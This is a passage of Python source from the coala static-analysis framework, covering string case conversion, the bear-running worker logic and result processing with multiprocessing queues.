    string = re.sub("(\s)",
                    lambda match: '_',
                    string)
    string = re.sub("^(_*)(.)",
                    lambda match: match.group(1) + match.group(2).upper(),
                    string)
    return re.sub("(?<=[^_])_+([^_])",
                  lambda match: match.group(1).upper(),
                  string)


def to_snakecase(string):
    """
    Converts the given string to snake-case.

    >>> to_snakecase('HelloWorld')
    'hello_world'
    >>> to_snakecase('__Init__File__')
    '__init_file__'
    >>> to_snakecase('')
    ''
    >>> to_snakecase('already_snake_case')
    'already_snake_case'
    >>> to_snakecase('   string  ')
    '___string__'

    :param string: The string to convert.
    :return:       The snake-cased string.
    """
    string = re.sub("(\s)",
                    lambda match: '_',
                    string)
    string = re.sub("^(_*)([^_])",
                    lambda match: match.group(1) + match.group(2).lower(),
                    string)
    string = re.sub("(?<=[^_])_+([^_])",
                    lambda match: "_" + match.group(1).lower(),
                    string)
    return re.sub("[A-Z]",
                  lambda match: "_" + match.group(0).lower(),
                  string)


def to_spacecase(string):
    """
    Converts the given string to space-case.

    >>> to_spacecase('helloWorld')
    'Hello World'
    >>> to_spacecase('__Init__File__')
    'Init File'
    >>> to_spacecase('')
    ''
    >>> to_spacecase('Already Space Case')
    'Already Space Case'
    >>> to_spacecase('  string  ')
    'String'

    :param string: The string to convert.
    :return:       The space-cased string.
    """
    string = re.sub("(_)",
                    lambda match: ' ',
                    string)
    string = re.sub("^(\s*)(.)",
                    lambda match: match.group(2).upper(),
                    string)
    string = re.sub("(\s*)$",
                    lambda match: '',
                    string)
    string = re.sub("(?<=[^\s])\s+([^\s])",
                    lambda match: ' ' + match.group(1).upper(),
                    string)
    return re.sub("(?<=[^\s])([A-Z])",
                  lambda match: ' ' + match.group(1),
                  string)






from coalib.misc.Enum import enum

CONTROL_ELEMENT = enum("LOCAL", "GLOBAL", "LOCAL_FINISHED", "GLOBAL_FINISHED")












import queue
import traceback

from coalib.bears.BEAR_KIND import BEAR_KIND
from coalib.bears.GlobalBear import GlobalBear
from coalib.bears.LocalBear import LocalBear
from coalib.misc import Constants
from coalib.processes.communication.LogMessage import LOG_LEVEL, LogMessage
from coalib.processes.CONTROL_ELEMENT import CONTROL_ELEMENT
from coalib.results.Result import Result


def send_msg(message_queue, timeout, log_level, *args, delimiter=' ', end=''):
    """
    Puts message into message queue for a LogPrinter to present to the user.

    :param message_queue: The queue to put the message into and which the
                          LogPrinter reads.
    :param timeout:       The queue blocks at most timeout seconds for a free
                          slot to execute the put operation on. After the
                          timeout it returns queue Full exception.
    :param log_level:     The log_level i.e Error,Debug or Warning.It is sent
                          to the LogPrinter depending on the message.
    :param args:          This includes the elements of the message.
    :param delimiter:     It is the value placed between each arg. By default
                          it is a ' '.
    :param end:           It is the value placed at the end of the message.
    """
    output = str(delimiter).join(str(arg) for arg in args) + str(end)
    message_queue.put(LogMessage(log_level, output),
                      timeout=timeout)


def validate_results(message_queue, timeout, result_list, name, args, kwargs):
    """
    Validates if the result_list passed to it contains valid set of results.
    That is the result_list must itself be a list and contain objects of the
    instance of Result object. If any irregularity is found a message is put in
    the message_queue to present the irregularity to the user. Each result_list
    belongs to an execution of a bear.

    :param message_queue: A queue that contains messages of type
                          errors/warnings/debug statements to be printed in the
                          Log.
    :param timeout:       The queue blocks at most timeout seconds for a free
                          slot to execute the put operation on. After the
                          timeout it returns queue Full exception.
    :param result_list:   The list of results to validate.
    :param name:          The name of the bear executed.
    :param args:          The args with which the bear was executed.
    :param kwargs:        The kwargs with which the bear was executed.
    :return:              Returns None if the result_list is invalid. Else it
                          returns the result_list itself.
    """
    if result_list is None:
        return None

    for result in result_list:
        if not isinstance(result, Result):
            send_msg(message_queue,
                     timeout,
                     LOG_LEVEL.ERROR,
                     "The results from the bear {bear} could only be "
                     "partially processed with arguments {arglist}, "
                     "{kwarglist}"
                     .format(bear=name, arglist=args, kwarglist=kwargs))
            send_msg(message_queue,
                     timeout,
                     LOG_LEVEL.DEBUG,
                     "One of the results in the list for the bear {bear} is "
                     "an instance of {ret} but it should be an instance of "
                     "Result"
                     .format(bear=name, ret=result.__class__))
            result_list.remove(result)

    return result_list


def run_bear(message_queue, timeout, bear_instance, *args, **kwargs):
    """
    This method is responsible for executing the instance of a bear. It also
    reports or logs errors if any occur during the execution of that bear
    instance.

    :param message_queue: A queue that contains messages of type
                          errors/warnings/debug statements to be printed in the
                          Log.
    :param timeout:       The queue blocks at most timeout seconds for a free
                          slot to execute the put operation on. After the
                          timeout it returns queue Full exception.
    :param bear_instance: The instance of the bear to be executed.
    :param args:          The arguments that are to be passed to the bear.
    :param kwargs:        The keyword arguments that are to be passed to the
                          bear.
    :return:              Returns a valid list of objects of the type Result
                          if the bear executed successfully. None otherwise.
    """
    if kwargs.get("dependency_results", True) is None:
        del kwargs["dependency_results"]

    name = bear_instance.name

    try:
        result_list = bear_instance.execute(*args, **kwargs)
    except:
        send_msg(message_queue,
                 timeout,
                 LOG_LEVEL.ERROR,
                 "The bear {bear} failed to run with the arguments "
                 "{arglist}, {kwarglist}. Skipping bear..."
                 .format(bear=name, arglist=args, kwarglist=kwargs))
        send_msg(message_queue,
                 timeout,
                 LOG_LEVEL.DEBUG,
                 "Traceback for error in bear {}:".format(name),
                 traceback.format_exc(),
                 delimiter="\n")

        return None

    return validate_results(message_queue,
                            timeout,
                            result_list,
                            name,
                            args,
                            kwargs)


def get_local_dependency_results(local_result_list, bear_instance):
    """
    This method gets all the results originating from the dependencies of a
    bear_instance. Each bear_instance may or may not have dependencies.

    :param local_result_list: The list of results out of which the dependency
                              results are picked.
    :param bear_instance:     The instance of a local bear to get the
                              dependencies from.
    :return:                  Return none if there are no dependencies for the
                              bear. Else return a dictionary containing
                              dependency results.
    """
    deps = bear_instance.BEAR_DEPS
    if not deps:
        return None

    dependency_results = {}
    dep_strings = []
    for dep in deps:
        dep_strings.append(dep.__name__)

    for result in local_result_list:
        if result.origin in dep_strings:
            results = dependency_results.get(result.origin, [])
            results.append(result)
            dependency_results[result.origin] = results

    return dependency_results


def run_local_bear(message_queue,
                   timeout,
                   local_result_list,
                   file_dict,
                   bear_instance,
                   filename):
    """
    Runs an instance of a local bear. Checks if bear_instance is of type
    LocalBear and then passes it to the run_bear to execute.

    :param message_queue:     A queue that contains messages of type
                              errors/warnings/debug statements to be printed in
                              the Log.
    :param timeout:           The queue blocks at most timeout seconds for a
                              free slot to execute the put operation on. After
                              the timeout it returns queue Full exception.
    :param local_result_list: Its a list that stores the results of all local
                              bears.
    :param file_dict:         Dictionary containing contents of file.
    :param bear_instance:     Instance of LocalBear the run.
    :param filename:          Name of the file to run it on.
    :return:                  Returns a list of results generated by the passed
                              bear_instance.
    """
    if (not isinstance(bear_instance, LocalBear) or
            bear_instance.kind() != BEAR_KIND.LOCAL):
        send_msg(message_queue,
                 timeout,
                 LOG_LEVEL.WARNING,
                 "A given local bear ({}) is not valid. Leaving "
                 "it out...".format(bear_instance.__class__.__name__),
                 Constants.THIS_IS_A_BUG)

        return None

    kwargs = {"dependency_results":
              get_local_dependency_results(local_result_list,
                                           bear_instance)}
    return run_bear(message_queue,
                    timeout,
                    bear_instance,
                    filename,
                    file_dict[filename],
                    **kwargs)


def run_global_bear(message_queue,
                    timeout,
                    global_bear_instance,
                    dependency_results):
    """
    Runs an instance of a global bear. Checks if bear_instance is of type
    GlobalBear and then passes it to the run_bear to execute.

    :param message_queue:        A queue that contains messages of type
                                 errors/warnings/debug statements to be printed
                                 in the Log.
    :param timeout:              The queue blocks at most timeout seconds for a
                                 free slot to execute the put operation on.
                                 After the timeout it returns queue Full
                                 exception.
    :param global_bear_instance: Instance of GlobalBear to run.
    :param dependency_results:   The results of all the bears on which the
                                 instance of the passed bear to be run depends
                                 on.
    :return:                     Returns a list of results generated by the
                                 passed bear_instance.
    """
    if (not isinstance(global_bear_instance, GlobalBear)
            or global_bear_instance.kind() != BEAR_KIND.GLOBAL):
        send_msg(message_queue,
                 timeout,
                 LOG_LEVEL.WARNING,
                 "A given global bear ({}) is not valid. Leaving it "
                 "out..."
                 .format(global_bear_instance.__class__.__name__),
                 Constants.THIS_IS_A_BUG)

        return None

    kwargs = {"dependency_results": dependency_results}
    return run_bear(message_queue,
                    timeout,
                    global_bear_instance,
                    **kwargs)


def run_local_bears_on_file(message_queue,
                            timeout,
                            file_dict,
                            local_bear_list,
                            local_result_dict,
                            control_queue,
                            filename):
    """
    This method runs a list of local bears on one file.

    :param message_queue:     A queue that contains messages of type
                              errors/warnings/debug statements to be printed
                              in the Log.
    :param timeout:           The queue blocks at most timeout seconds for a
                              free slot to execute the put operation on. After
                              the timeout it returns queue Full exception.
    :param file_dict:         Dictionary that contains contents of files.
    :param local_bear_list:   List of local bears to run on file.
    :param local_result_dict: A Manager.dict that will be used to store local
                              bear results. A list of all local bear results
                              will be stored with the filename as key.
    :param control_queue:     If any result gets written to the result_dict a
                              tuple containing a CONTROL_ELEMENT (to indicate
                              what kind of event happened) and either a bear
                              name(for global results) or a file name to
                              indicate the result will be put to the queue.
    :param filename:          The name of file on which to run the bears.
    """
    if filename not in file_dict:
        send_msg(message_queue,
                 timeout,
                 LOG_LEVEL.ERROR,
                 "An internal error occurred.",
                 Constants.THIS_IS_A_BUG)
        send_msg(message_queue,
                 timeout,
                 LOG_LEVEL.DEBUG,
                 "The given file through the queue is not in the file "
                 "dictionary.")

        return

    local_result_list = []
    for bear_instance in local_bear_list:
        result = run_local_bear(message_queue,
                                timeout,
                                local_result_list,
                                file_dict,
                                bear_instance,
                                filename)
        if result is not None:
            local_result_list.extend(result)

    local_result_dict[filename] = local_result_list
    control_queue.put((CONTROL_ELEMENT.LOCAL, filename))


def get_global_dependency_results(global_result_dict, bear_instance):
    """
    This method gets all the results originating from the dependencies of a
    bear_instance. Each bear_instance may or may not have dependencies.

    :param global_result_dict: The list of results out of which the dependency
                               results are picked.
    :return:                   None if bear has no dependencies, False if
                               dependencies are not met, the dependency dict
                               otherwise.
    """
    try:
        deps = bear_instance.BEAR_DEPS
        if not deps:
            return None
    except AttributeError:
        # When this occurs we have an invalid bear and a warning will be
        # emitted later.
        return None

    dependency_results = {}
    for dep in deps:
        depname = dep.__name__
        if depname not in global_result_dict:
            return False

        dependency_results[depname] = global_result_dict[depname]

    return dependency_results


def get_next_global_bear(timeout,
                         global_bear_queue,
                         global_bear_list,
                         global_result_dict):
    """
    Retrieves the next global bear.

    :param timeout:            The queue blocks at most timeout seconds for a
                               free slot to execute the put operation on. After
                               the timeout it returns queue Full exception.
    :param global_bear_queue:  queue (read, write) of indexes of global bear
                               instances in the global_bear_list.
    :param global_bear_list:   A list containing all global bears to be
                               executed.
    :param global_result_dict: A Manager.dict that will be used to store global
                               results. The list of results of one global bear
                               will be stored with the bear name as key.
    :return:                   (bear, bearname, dependency_results)
    """
    dependency_results = False

    while dependency_results is False:
        bear_id = global_bear_queue.get(timeout=timeout)
        bear = global_bear_list[bear_id]

        dependency_results = (
            get_global_dependency_results(global_result_dict, bear))
        if dependency_results is False:
            global_bear_queue.put(bear_id)

    return bear, dependency_results


def task_done(obj):
    """
    Invokes task_done if the given queue provides this operation. Otherwise
    passes silently.

    :param obj: Any object.
    """
    if hasattr(obj, "task_done"):
        obj.task_done()


def run_local_bears(filename_queue,
                    message_queue,
                    timeout,
                    file_dict,
                    local_bear_list,
                    local_result_dict,
                    control_queue):
    """
    Run local bears on all the files given.

    :param filename_queue:    queue (read) of file names to check with
                              local bears.
    :param message_queue:     A queue that contains messages of type
                              errors/warnings/debug statements to be printed
                              in the Log.
    :param timeout:           The queue blocks at most timeout seconds for a
                              free slot to execute the put operation on. After
                              the timeout it returns queue Full exception.
    :param file_dict:         Dictionary that contains contents of files.
    :param local_bear_list:   List of local bears to run.
    :param local_result_dict: A Manager.dict that will be used to store local
                              bear results. A list of all local bear results
                              will be stored with the filename as key.
    :param control_queue:     If any result gets written to the result_dict a
                              tuple containing a CONTROL_ELEMENT (to indicate
                              what kind of event happened) and either a bear
                              name(for global results) or a file name to
                              indicate the result will be put to the queue.
    """
    try:
        while True:
            filename = filename_queue.get(timeout=timeout)
            run_local_bears_on_file(message_queue,
                                    timeout,
                                    file_dict,
                                    local_bear_list,
                                    local_result_dict,
                                    control_queue,
                                    filename)
            task_done(filename_queue)
    except queue.Empty:
        return


def run_global_bears(message_queue,
                     timeout,
                     global_bear_queue,
                     global_bear_list,
                     global_result_dict,
                     control_queue):
    """
    Run all global bears.

    :param message_queue:      A queue that contains messages of type
                               errors/warnings/debug statements to be printed
                               in the Log.
    :param timeout:            The queue blocks at most timeout seconds for a
                               free slot to execute the put operation on. After
                               the timeout it returns queue Full exception.
    :param global_bear_queue:  queue (read, write) of indexes of global bear
                               instances in the global_bear_list.
    :param global_bear_list:   list of global bear instances
    :param global_result_dict: A Manager.dict that will be used to store global
                               results. The list of results of one global bear
                               will be stored with the bear name as key.
    :param control_queue:      If any result gets written to the result_dict a
                               tuple containing a CONTROL_ELEMENT (to indicate
                               what kind of event happened) and either a bear
                               name(for global results) or a file name to
                               indicate the result will be put to the queue.
    """
    try:
        while True:
            bear, dep_results = (
                get_next_global_bear(timeout,
                                     global_bear_queue,
                                     global_bear_list,
                                     global_result_dict))
            bearname = bear.__class__.__name__
            result = run_global_bear(message_queue, timeout, bear, dep_results)
            if result:
                global_result_dict[bearname] = result
                control_queue.put((CONTROL_ELEMENT.GLOBAL, bearname))
            else:
                global_result_dict[bearname] = None
            task_done(global_bear_queue)
    except queue.Empty:
        return


def run(file_name_queue,
        local_bear_list,
        global_bear_list,
        global_bear_queue,
        file_dict,
        local_result_dict,
        global_result_dict,
        message_queue,
        control_queue,
        timeout=0):
    """
    This is the method that is actually runs by processes.

    If parameters type is 'queue (read)' this means it has to implement the
    get(timeout=TIMEOUT) method and it shall raise queue.Empty if the queue
    is empty up until the end of the timeout. If the queue has the
    (optional!) task_done() attribute, the run method will call it after
    processing each item.

    If parameters type is 'queue (write)' it shall implement the
    put(object, timeout=TIMEOUT) method.

    If the queues raise any exception not specified here the user will get
    an 'unknown error' message. So beware of that.

    :param file_name_queue:    queue (read) of file names to check with local
                               bears. Each invocation of the run method needs
                               one such queue which it checks with all the
                               local bears. The queue could be empty.
                               (Repeat until queue empty.)
    :param local_bear_list:    List of local bear instances.
    :param global_bear_list:   List of global bear instances.
    :param global_bear_queue:  queue (read, write) of indexes of global bear
                               instances in the global_bear_list.
    :param file_dict:          dict of all files as {filename:file}, file as in
                               file.readlines().
    :param local_result_dict:  A Manager.dict that will be used to store local
                               results. A list of all local results.
                               will be stored with the filename as key.
    :param global_result_dict: A Manager.dict that will be used to store global
                               results. The list of results of one global bear
                               will be stored with the bear name as key.
    :param message_queue:      queue (write) for debug/warning/error
                               messages (type LogMessage)
    :param control_queue:      queue (write). If any result gets written to the
                               result_dict a tuple containing a CONTROL_ELEMENT
                               (to indicate what kind of event happened) and
                               either a bear name (for global results) or a
                               file name to indicate the result will be put to
                               the queue. If the run method finished all its
                               local bears it will put
                               (CONTROL_ELEMENT.LOCAL_FINISHED, None) to the
                               queue, if it finished all global ones,
                               (CONTROL_ELEMENT.GLOBAL_FINISHED, None) will
                               be put there.
    :param timeout:            The queue blocks at most timeout seconds for a
                               free slot to execute the put operation on. After
                               the timeout it returns queue Full exception.
    """
    try:
        run_local_bears(file_name_queue,
                        message_queue,
                        timeout,
                        file_dict,
                        local_bear_list,
                        local_result_dict,
                        control_queue)
        control_queue.put((CONTROL_ELEMENT.LOCAL_FINISHED, None))

        run_global_bears(message_queue,
                         timeout,
                         global_bear_queue,
                         global_bear_list,
                         global_result_dict,
                         control_queue)
        control_queue.put((CONTROL_ELEMENT.GLOBAL_FINISHED, None))
    except (OSError, KeyboardInterrupt):  # pragma: no cover
        pass






import multiprocessing
import os
import platform
import queue
import subprocess
from itertools import chain

from coalib.collecting import Dependencies
from coalib.collecting.Collectors import collect_files
from coala_utils.string_processing.StringConverter import StringConverter
from coalib.output.printers.LOG_LEVEL import LOG_LEVEL
from coalib.processes.BearRunning import run
from coalib.processes.CONTROL_ELEMENT import CONTROL_ELEMENT
from coalib.processes.LogPrinterThread import LogPrinterThread
from coalib.results.Result import Result
from coalib.results.result_actions.ApplyPatchAction import ApplyPatchAction
from coalib.results.result_actions.PrintDebugMessageAction import (
    PrintDebugMessageAction)
from coalib.results.result_actions.ShowPatchAction import ShowPatchAction
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY
from coalib.results.SourceRange import SourceRange
from coalib.settings.Setting import glob_list
from coalib.parsing.Globbing import fnmatch


ACTIONS = [ApplyPatchAction,
           PrintDebugMessageAction,
           ShowPatchAction]


def get_cpu_count():
    try:
        return multiprocessing.cpu_count()
    # cpu_count is not implemented for some CPU architectures/OSes
    except NotImplementedError:  # pragma: no cover
        return 2


def fill_queue(queue_fill, any_list):
    """
    Takes element from a list and populates a queue with those elements.

    :param queue_fill: The queue to be filled.
    :param any_list:   List containing the elements.
    """
    for elem in any_list:
        queue_fill.put(elem)


def get_running_processes(processes):
    return sum((1 if process.is_alive() else 0) for process in processes)


def create_process_group(command_array, **kwargs):
    if platform.system() == "Windows":  # pragma: no cover
        proc = subprocess.Popen(
            command_array,
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP,
            **kwargs)
    else:
        proc = subprocess.Popen(command_array,
                                preexec_fn=os.setsid,
                                **kwargs)
    return proc


def get_default_actions(section):
    """
    Parses the key ``default_actions`` in the given section.

    :param section:    The section where to parse from.
    :return:           A dict with the bearname as keys and their default
                       actions as values and another dict that contains bears
                       and invalid action names.
    """
    try:
        default_actions = dict(section["default_actions"])
    except IndexError:
        return {}, {}

    action_dict = {action.get_metadata().name: action for action in ACTIONS}
    invalid_action_set = default_actions.values() - action_dict.keys()
    invalid_actions = {}
    if len(invalid_action_set) != 0:
        invalid_actions = {
            bear: action
            for bear, action in default_actions.items()
            if action in invalid_action_set}
        for invalid in invalid_actions.keys():
            del default_actions[invalid]

    actions = {bearname: action_dict[action_name]
               for bearname, action_name in default_actions.items()}
    return actions, invalid_actions


def autoapply_actions(results,
                      file_dict,
                      file_diff_dict,
                      section,
                      log_printer):
    """
    Auto-applies actions like defined in the given section.

    :param results:        A list of results.
    :param file_dict:      A dictionary containing the name of files and its
                           contents.
    :param file_diff_dict: A dictionary that contains filenames as keys and
                           diff objects as values.
    :param section:        The section.
    :param log_printer:    A log printer instance to log messages on.
    :return:               A list of unprocessed results.
    """

    default_actions, invalid_actions = get_default_actions(section)

    for bearname, actionname in invalid_actions.items():
        log_printer.warn("Selected default action {!r} for bear {!r} does "
                         "not exist. Ignoring action.".format(actionname,
                                                              bearname))

    if len(default_actions) == 0:
        # There's nothing to auto-apply.
        return results

    not_processed_results = []
    for result in results:
        try:
            # Match full bear names deterministically, prioritized!
            action = default_actions[result.origin]
        except KeyError:
            for bear_glob in default_actions:
                if fnmatch(result.origin, bear_glob):
                    action = default_actions[bear_glob]
                    break
            else:
                not_processed_results.append(result)
                continue

        if not action.is_applicable(result, file_dict, file_diff_dict):
            log_printer.warn("Selected default action {!r} for bear {!r} is "
                             "not applicable. Action not applied.".format(
                                 action.get_metadata().name, result.origin))
            not_processed_results.append(result)
            continue

        try:
            action().apply_from_section(result,
                                        file_dict,
                                        file_diff_dict,
                                        section)
            log_printer.info("Applied {!r} on {} from {!r}.".format(
                action.get_metadata().name,
                result.location_repr(),
                result.origin))
        except Exception as ex:
            not_processed_results.append(result)
            log_printer.log_exception(
                "Failed to execute action {!r} with error: {}.".format(
                    action.get_metadata().name, ex),
                ex)
            log_printer.debug("-> for result " + repr(result) + ".")

    return not_processed_results


def check_result_ignore(result, ignore_ranges):
    """
    Determines if the result has to be ignored.

    :param result:        The result that needs to be checked.
    :param ignore_ranges: A list of tuples, each containing a list of lower
                          cased affected bearnames and a SourceRange to
                          ignore. If any of the bearname lists is empty, it
                          is considered an ignore range for all bears.
                          This may be a list of globbed bear wildcards.
    :return:              True if the result has to be ignored.
    """
    for bears, range in ignore_ranges:
        orig = result.origin.lower()
        if (result.overlaps(range) and
                (len(bears) == 0 or orig in bears or fnmatch(orig, bears))):
            return True

    return False


def print_result(results,
                 file_dict,
                 retval,
                 print_results,
                 section,
                 log_printer,
                 file_diff_dict,
                 ignore_ranges):
    """
    Takes the results produced by each bear and gives them to the print_results
    method to present to the user.

    :param results:        A list of results.
    :param file_dict:      A dictionary containing the name of files and its
                           contents.
    :param retval:         It is True if no results were yielded ever before.
                           If it is False this function will return False no
                           matter what happens. Else it depends on if this
                           invocation yields results.
    :param print_results:  A function that prints all given results appropriate
                           to the output medium.
    :param file_diff_dict: A dictionary that contains filenames as keys and
                           diff objects as values.
    :param ignore_ranges:  A list of SourceRanges. Results that affect code in
                           any of those ranges will be ignored.
    :return:               Returns False if any results were yielded. Else
                           True.
    """
    min_severity_str = str(section.get('min_severity', 'INFO')).upper()
    min_severity = RESULT_SEVERITY.str_dict.get(min_severity_str, 'INFO')
    results = list(filter(lambda result:
                          type(result) is Result and
                          result.severity >= min_severity and
                          not check_result_ignore(result, ignore_ranges),
                          results))

    if bool(section.get('autoapply', 'true')):
        patched_results = autoapply_actions(results,
                                            file_dict,
                                            file_diff_dict,
                                            section,
                                            log_printer)
    else:
        patched_results = results

    print_results(log_printer,
                  section,
                  patched_results,
                  file_dict,
                  file_diff_dict)
    return retval or len(results) > 0, patched_results


def get_file_dict(filename_list, log_printer):
    """
    Reads all files into a dictionary.

    :param filename_list: List of names of paths to files to get contents of.
    :param log_printer:   The logger which logs errors.
    :return:              Reads the content of each file into a dictionary
                          with filenames as keys.
    """
    file_dict = {}
    for filename in filename_list:
        try:
            with open(filename, "r", encoding="utf-8") as _file:
                file_dict[filename] = tuple(_file.readlines())
        except UnicodeDecodeError:
            log_printer.warn("Failed to read file '{}'. It seems to contain "
                             "non-unicode characters. Leaving it "
                             "out.".format(filename))
        except OSError as exception:  # pragma: no cover
            log_printer.log_exception("Failed to read file '{}' because of "
                                      "an unknown error. Leaving it "
                                      "out.".format(filename),
                                      exception,
                                      log_level=LOG_LEVEL.WARNING)

    log_printer.debug("Files that will be checked:\n" +
                      "\n".join(file_dict.keys()))
    return file_dict


def filter_raising_callables(it, exception, *args, **kwargs):
    """
    Filters all callable items inside the given iterator that raise the
    given exceptions.

    :param it:        The iterator to filter.
    :param exception: The (tuple of) exception(s) to filter for.
    :param args:      Positional arguments to pass to the callable.
    :param kwargs:    Keyword arguments to pass to the callable.
    """
    for elem in it:
        try:
            yield elem(*args, **kwargs)
        except exception:
            pass


def instantiate_bears(section,
                      local_bear_list,
                      global_bear_list,
                      file_dict,
                      message_queue):
    """
    Instantiates each bear with the arguments it needs.

    :param section:          The section the bears belong to.
    :param local_bear_list:  List of local bear classes to instantiate.
    :param global_bear_list: List of global bear classes to instantiate.
    :param file_dict:        Dictionary containing filenames and their
                             contents.
    :param message_queue:    Queue responsible to maintain the messages
                             delivered by the bears.
    :return:                 The local and global bear instance lists.
    """
    local_bear_list = [bear
                       for bear in filter_raising_callables(
                           local_bear_list,
                           RuntimeError,
                           section,
                           message_queue,
                           timeout=0.1)]

    global_bear_list = [bear
                        for bear in filter_raising_callables(
                            global_bear_list,
                            RuntimeError,
                            file_dict,
                            section,
                            message_queue,
                            timeout=0.1)]

    return local_bear_list, global_bear_list


def instantiate_processes(section,
                          local_bear_list,
                          global_bear_list,
                          job_count,
                          cache,
                          log_printer):
    """
    Instantiate the number of processes that will run bears which will be
    responsible for running bears in a multiprocessing environment.

    :param section:          The section the bears belong to.
    :param local_bear_list:  List of local bears belonging to the section.
    :param global_bear_list: List of global bears belonging to the section.
    :param job_count:        Max number of processes to create.
    :param cache:            An instance of ``misc.Caching.FileCache`` to use as
                             a file cache buffer.
    :param log_printer:      The log printer to warn to.
    :return:                 A tuple containing a list of processes,
                             and the arguments passed to each process which are
                             the same for each object.
    """
    filename_list = collect_files(
        glob_list(section.get('files', "")),
        log_printer,
        ignored_file_paths=glob_list(section.get('ignore', "")),
        limit_file_paths=glob_list(section.get('limit_files', "")))

    # This stores all matched files irrespective of whether coala is run
    # only on changed files or not. Global bears require all the files
    complete_filename_list = filename_list

    # Start tracking all the files
    if cache:
        cache.track_files(set(complete_filename_list))
        changed_files = cache.get_uncached_files(
            set(filename_list)) if cache else filename_list

        # If caching is enabled then the local bears should process only the
        # changed files.
        log_printer.debug("coala is run only on changed files, bears' log "
                          "messages from previous runs may not appear. You may "
                          "use the `--flush-cache` flag to see them.")
        filename_list = changed_files

    # Note: the complete file dict is given as the file dict to bears and
    # the whole project is accessible to every bear. However, local bears are
    # run only for the changed files if caching is enabled.
    complete_file_dict = get_file_dict(complete_filename_list, log_printer)
    file_dict = {filename: complete_file_dict[filename]
                 for filename in filename_list
                 if filename in complete_file_dict}

    manager = multiprocessing.Manager()
    global_bear_queue = multiprocessing.Queue()
    filename_queue = multiprocessing.Queue()
    local_result_dict = manager.dict()
    global_result_dict = manager.dict()
    message_queue = multiprocessing.Queue()
    control_queue = multiprocessing.Queue()

    bear_runner_args = {"file_name_queue": filename_queue,
                        "local_bear_list": local_bear_list,
                        "global_bear_list": global_bear_list,
                        "global_bear_queue": global_bear_queue,
                        "file_dict": file_dict,
                        "local_result_dict": local_result_dict,
                        "global_result_dict": global_result_dict,
                        "message_queue": message_queue,
                        "control_queue": control_queue,
                        "timeout": 0.1}

    local_bear_list[:], global_bear_list[:] = instantiate_bears(
        section,
        local_bear_list,
        global_bear_list,
        complete_file_dict,
        message_queue)

    fill_queue(filename_queue, file_dict.keys())
    fill_queue(global_bear_queue, range(len(global_bear_list)))

    return ([multiprocessing.Process(target=run, kwargs=bear_runner_args)
             for i in range(job_count)],
            bear_runner_args)


def get_ignore_scope(line, keyword):
    """
    Retrieves the bears that are to be ignored defined in the given line.

    :param line:    The line containing the ignore declaration.
    :param keyword: The keyword that was found. Everything after the rightmost
                    occurrence of it will be considered for the scope.
    :return:        A list of lower cased bearnames or an empty list (-> "all")
    """
    toignore = line[line.rfind(keyword) + len(keyword):]
    if toignore.startswith("all"):
        return []
    else:
        return list(StringConverter(toignore, list_delimiters=', '))


def yield_ignore_ranges(file_dict):
    """
    Yields tuples of affected bears and a SourceRange that shall be ignored for
    those.

    :param file_dict: The file dictionary.
    """
    for filename, file in file_dict.items():
        start = None
        bears = []
        stop_ignoring = False
        for line_number, line in enumerate(file, start=1):
            # Before lowering all lines ever read, first look for the biggest
            # common substring, case sensitive: I*gnor*e, start i*gnor*ing.
            if 'gnor' in line:
                line = line.lower()
                if "start ignoring " in line:
                    start = line_number
                    bears = get_ignore_scope(line, "start ignoring ")
                elif "stop ignoring" in line:
                    stop_ignoring = True
                    if start:
                        yield (bears,
                               SourceRange.from_values(
                                   filename,
                                   start,
                                   1,
                                   line_number,
                                   len(file[line_number-1])))
                elif "ignore " in line:
                    end_line = min(line_number + 1, len(file))
                    yield (get_ignore_scope(line, "ignore "),
                           SourceRange.from_values(
                               filename,
                               line_number, 1,
                               end_line, len(file[end_line - 1])))

        if stop_ignoring is False and start is not None:
            yield (bears,
                   SourceRange.from_values(filename,
                                           start,
                                           1,
                                           len(file),
                                           len(file[-1])))


def get_file_list(results):
    """
    Get the set of files that are affected in the given results.

    :param results: A list of results from which the list of files is to be
                    extracted.
    :return:        A set of file paths containing the mentioned list of
                    files.
    """
    return {code.file for result in results for code in result.affected_code}


def process_queues(processes,
                   control_queue,
                   local_result_dict,
                   global_result_dict,
                   file_dict,
                   print_results,
                   section,
                   cache,
                   log_printer):
    """
    Iterate the control queue and send the results received to the print_result
    method so that they can be presented to the user.

    :param processes:          List of processes which can be used to run
                               Bears.
    :param control_queue:      Containing control elements that indicate
                               whether there is a result available and which
                               bear it belongs to.
    :param local_result_dict:  Dictionary containing results respective to
                               local bears. It is modified by the processes
                               i.e. results are added to it by multiple
                               processes.
    :param global_result_dict: Dictionary containing results respective to
                               global bears. It is modified by the processes
                               i.e. results are added to it by multiple
                               processes.
    :param file_dict:          Dictionary containing file contents with
                               filename as keys.
    :param print_results:      Prints all given results appropriate to the
                               output medium.
    :param cache:              An instance of ``misc.Caching.FileCache`` to use
                               as a file cache buffer.
    :return:                   Return True if all bears execute successfully and
                               Results were delivered to the user. Else False.
    """
    file_diff_dict = {}
    retval = False
    # Number of processes working on local/global bears. They are count down
    # when the last queue element of that process is processed which may be
    # *after* the process has ended!
    local_processes = len(processes)
    global_processes = len(processes)
    global_result_buffer = []
    result_files = set()
    ignore_ranges = list(yield_ignore_ranges(file_dict))

    # One process is the logger thread
    while local_processes > 1:
        try:
            control_elem, index = control_queue.get(timeout=0.1)

            if control_elem == CONTROL_ELEMENT.LOCAL_FINISHED:
                local_processes -= 1
            elif control_elem == CONTROL_ELEMENT.GLOBAL_FINISHED:
                global_processes -= 1
            elif control_elem == CONTROL_ELEMENT.LOCAL:
                assert local_processes != 0
                result_files.update(get_file_list(local_result_dict[index]))
                retval, res = print_result(local_result_dict[index],
                                           file_dict,
                                           retval,
                                           print_results,
                                           section,
                                           log_printer,
                                           file_diff_dict,
                                           ignore_ranges)
                local_result_dict[index] = res
            else:
                assert control_elem == CONTROL_ELEMENT.GLOBAL
                global_result_buffer.append(index)
        except queue.Empty:
            if get_running_processes(processes) < 2:  # pragma: no cover
                # Recover silently, those branches are only
                # nondeterministically covered.
                break

    # Flush global result buffer
    for elem in global_result_buffer:
        result_files.update(get_file_list(global_result_dict[elem]))
        retval, res = print_result(global_result_dict[elem],
                                   file_dict,
                                   retval,
                                   print_results,
                                   section,
                                   log_printer,
                                   file_diff_dict,
                                   ignore_ranges)
        global_result_dict[elem] = res

    # One process is the logger thread
    while global_processes > 1:
        try:
            control_elem, index = control_queue.get(timeout=0.1)

            if control_elem == CONTROL_ELEMENT.GLOBAL:
                result_files.update(get_file_list(global_result_dict[index]))
